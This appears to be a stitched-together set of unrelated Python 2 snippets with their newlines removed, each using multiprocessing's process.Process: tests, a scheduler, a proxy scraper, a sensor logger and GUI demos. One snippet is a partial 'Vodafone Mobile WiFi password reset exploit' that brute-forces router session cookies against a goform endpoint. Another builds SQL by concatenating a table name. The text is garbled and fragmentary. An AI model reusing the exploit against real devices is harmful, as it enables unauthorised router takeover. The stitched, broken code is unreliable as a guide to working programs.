def test_concurrent_initialization(self): processes = [] os.chdir(tempfile.mkdtemp()) def _initialize(): self._init_backend() for i in range(20): # we use processes here instead of threads because file locks do # not respect thread access. this simulates a scenario where # gunicorn (or any other container) runs this flask application # with multiple workers p = process.Process(target=_initialize) processes.append(p) for p in processes: p.start() for p in processes: p.join() # connect to the underlying storage to make assertions backend = self._init_backend() self.assertEqual(len(backend.storage.get_hosts()), self.NUMBER_OF_HOSTS)
def main(): print("父进程运行中 %d" % os.getpid()) p = process.Process(target=run_proc, args=('test')) print("子进程将要运行") p.start() p.join() print("子进程运行结束")
if len(Config) > 0: Currt_ime = datetime.now() # 获取各模块最近一次要执行的具体时间 ExecuteInfo = Common.FormatModelExecTime(Currt_ime, Config) while True: Currt_ime = datetime.now() strCurrtime = Currt_ime.strftime("%Y-%m-%d %H:%M:%S") print(Currt_ime) for model in ExecuteInfo.keys(): # 如果到了某个模块的执行时间 if strCurrtime >= ExecuteInfo[model]: # 获取所有模块的新的执行时间 UpdateModelExecTime = Common.FormatModelExecTime(Currt_ime, Config) # '更新字典表中当前模块的执行时间为下次执行时间 ExecuteInfo[model] = UpdateModelExecTime[model] try: # doProgress(model,"192.168.1.1",strCurrtime) # 新建子进程执行信息采集 p = process.Process(target=doprogress, args=(model, ClientIpaddr, strCurrtime, Post_data_Url)) p.start() except Exception, e: Common.WriteLog(e.message, "Error") # 10分钟1次获取服务器监控配置参数,并按新的参数执行 if (int(Currt_ime.strftime("%M")) % 10) == 0: Config = Common.GetConfigPara(GetConfigUrl) ExecuteInfo = Common.FormatModelExecTime(Currt_ime, Config) else: Common.WriteLog('get configuration from server failed! load config model para null.', 'error') except Exception, e: Common.WriteLog(e.message, 'Error')
if __name__ == '__main__': import time ts = time.time() for i in range(100): t1 = threading.Thread(target=moses_python_warp, args=('蓝色 小 苹果', )) t2 = threading.Thread(target=moses_python_warp, args=('讲 个 故事 吧', )) t3 = threading.Thread(target=moses_python_warp, args=('现在 速度 柑橘 好 慢', )) t1.start() t2.start() t3.start() t1.join() t2.join() t3.join() te = time.time() print te - ts ts = time.time() for i in range(100): p1 = process.Process(target=moses_python_warp, args=('蓝色 小 苹果', )) p2 = process.Process(target=moses_python_warp, args=('讲 个 故事 吧', )) p3 = process.Process(target=moses_python_warp, args=('现在 速度 柑橘 好 慢', )) p1.start() p2.start() p3.start() p1.join() p2.join() p3.join() te = time.time() print te - ts
def runProxy(): thread1 = threading.Thread(target=get_Proxy, args=()) thread2 = threading.Thread(target=fillte_Proxy, args=()) thread3 = threading.Thread(target=examing_Proxy, args=()) thread1.start() # thread1.setDaemon() thread2.start() # thread2.setDaemon() thread3.start() # thread3.setDaemon() if __name__ == '__main__': process1=process.Process(target=mult_thread_to_fillte_Proxy,args=()) thread1 = threading.Thread(target=get_Proxy, args=()) thread2 = threading.Thread(target=fillte_Proxy, args=()) thread3 = threading.Thread(target=examing_Proxy, args=()) thread1.start() # thread1.setDaemon() time.sleep(5) # thread2.start() # thread2.setDaemon() process1.start() process1.join() thread3.start() # thread3.setDaemon()
print """ Vodafone Mobile WiFi - Password reset exploit (Daniele Linguaglossa) """ thread_lock = False session = "" def unix_time_millis(dt): epoch = datetime.utcfromtimestamp(0) return int(((dt - epoch).total_seconds() * 1000.0) / 1000) a=False def check_process_output(): print 1 p = process.Process(target=check_process_output) p.start() print a exit(0) def crack(queue): global thread_lock global session while True: if thread_lock: exit(0) if not queue.empty(): cookie = queue.get() headers = {'Referer': 'http://192.168.0.1/home.htm', 'Cookie': "stok=%s" % cookie} req = urllib2.Request("http://192.168.0.1/goform/goform_get_cmd_process?cmd=AuthMode&_=%s"
def main(sql_host, sqlport, uname, token, sensorDb, sqltable, ser_port, srl_flush_key, srl_poll_key, brate, time_out): ''' Main method to make a sql connection, serial connection and lauch multiprocessing worker to poll sensor data and push to database. :param sql_host: host ip address of the mysql server :param sqlport: port number of the mysql database in integer :param uname: user name to access mysql database :param token: user password to access mysql database :param sensorDb: name of the database in the mysql server :param sqltable: name of the sql table in the database :param ser_port: serial port to which the device is connected :param srl_flush_key: hexkey to flush the serial port i/o :param srl_poll_key: hexkey to poll data from the serial port :param brate: baud rate of the serial comminication depending on protocol :param time_out: serial connection time out in seconds ''' # make SQl connections dbCon = MySQLdb.connect(host=sql_host, port=sqlport, user=uname, passwd=token, db=sensorDb) # create serial object serialObj = interogateSensor(ser_port, srl_flush_key, srl_poll_key, baud_rt=brate, tout=time_out) if serialObj.serCon.isOpen(): # Create a que to pass data daqQue = Queue() daqProcess = process.Process(target=serialObj.serialread, args=(daqQue, )) daqProcess.daemon = True daqProcess.start() try: while True: queData = daqQue.get() dbCon.autocommit(True) # Create a Cursor object cursor = dbCon.cursor() try: # Execute the SQL command SQL_STRG = "INSERT INTO " + sqltable + "(timestamp,strain1,\ strain2,strain3,strain4) values(%f, %f, %f, %f, %f)" % (queData) cursor.execute(SQL_STRG) sys.stdout.flush() except Exception, err: print str(err) # Rollback in case there is any error dbCon.rollback() # close connection dbCon.close() break except KeyboardInterrupt: print "\nUser termination initiated" daqProcess.join() if serialObj.serCon.isOpen(): serialObj.serCon.close() print "\nSerial Connection Closed" dbCon.close() print "\nDatabase Connection Closed" else: print "\nSerial Port Connection unsucessfull. Please check connections"
""" 4 demo classes run as independent program processes: multiprocessing; multiprocessing allows us to launch named functions with arguments, but not lambdas, because they are not pickleable on Windows (Chapter 5); multiprocessing also has its own IPC tools like pipes for communication; """ from Tkinter import * from multiprocessing import process demoModules = ['demoDlg', 'demoRadio', 'demoCheck', 'demoScale'] def runDemo(modname): module = __import__(modname) module.Demo().mainloop() if __name__ == '__main__': for modname in demoModules: process.Process(target=runDemo, args=(modname, )).start() root = Tk() root.title('Processes') Label(root, text='Multiple programs demo: multiprocessing', bg='white').pack() root.mainloop()
# --*-- encode:utf-8 --*-- import os import subprocess from subprocess import Popen, PIPE, STDOUT from multiprocessing import process def run(port): os.system( '/Users/kaiqigu/anaconda2/bin/python2.7 /Users/kaiqigu/Desktop/wang/mychatroom/run.py ' + str(port)) L1 = [] L2 = [] for i in [8000, 8001, 8002, 8003]: print i p = process.Process(target=run, args=(i, )) L1.append(p) p.start() for i in L1: print i i.join()